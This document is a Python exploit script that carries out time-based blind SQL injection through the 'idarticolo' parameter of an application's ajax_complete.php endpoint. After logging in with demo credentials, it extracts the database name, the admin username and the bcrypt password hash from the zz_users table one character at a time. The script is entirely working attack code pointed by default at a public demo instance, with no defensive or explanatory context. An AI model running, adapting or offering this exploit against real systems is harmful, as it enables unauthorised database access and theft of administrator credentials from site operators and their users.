import requests import time import string import sys # Default Configuration BASE_URL = "https://demo.osmbusiness.it" USERNAME = "demo" PASSWORD = "demodemo1" SLEEP_TIME = 3 # Increased to 3s for stability on remote demo instance def login(session, base_url, user, pwd): """Authenticates to the application and maintains session.""" login_url = f"{base_url}/index.php?op=login" data = {"username": user, "password": pwd} print(f"[*] Attempting login to: {login_url}...") try: response = session.post(login_url, data=data, timeout=10) # Check if login was successful (usually indicated by presence of logout link or redirect) if "logout" in response.text.lower() or response.status_code == 200: print("[+] Login successful!") return True else: print("[-] Login failed. Please check credentials.") return False except Exception as e: print(f"[!] Connection error: {e}") return False def extract_data(session, base_url, sql_query, label="Data"): """Extracts data character by character until the end of the string is reached.""" print(f"\n[*] Extracting: {label}...") result = "" position = 1 target_endpoint = f"{base_url}/ajax_complete.php" # Charset optimized for database names and bcrypt hashes ($, ., /) charset = string.ascii_letters + string.digits + "$./" + string.punctuation while True: found_char = False for char in charset: # Payload: If the condition is true, the server sleeps for SLEEP_TIME # Using ORD() and SUBSTRING() to handle various character types safely payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)" params = { "op": "getprezzi", "idanagrafica": "1", "idarticolo": payload } try: start_time = time.time() session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10) elapsed = time.time() - start_time if elapsed >= SLEEP_TIME: result += char found_char = True sys.stdout.write(f"\r[+] {label} [{position}]: {result}") sys.stdout.flush() break except requests.exceptions.RequestException: # Handle network jitter/timeouts by retrying or continuing continue # If no character from charset triggered a sleep, we've reached the end of the data if not found_char: print(f"\n[!] End of string or no data found at position {position}.") break position += 1 return result def main(): s = requests.Session() # Allow target URL to be passed as a command line argument target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL if login(s, target, USERNAME, PASSWORD): # 1. Database name extraction db = extract_data(s, target, "SELECT DATABASE()", "Database Name") # 2. Admin username extraction user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)") # 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically) pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash") print(f"\n\n{'='*35}") print(f" FINAL REPORT") print(f"{'='*35}") print(f"Target URL: {target}") print(f"Database: {db}") print(f"Username: {user}") print(f"Hash: {pwd_hash}") print(f"{'='*35}") if __name__ == "__main__": main()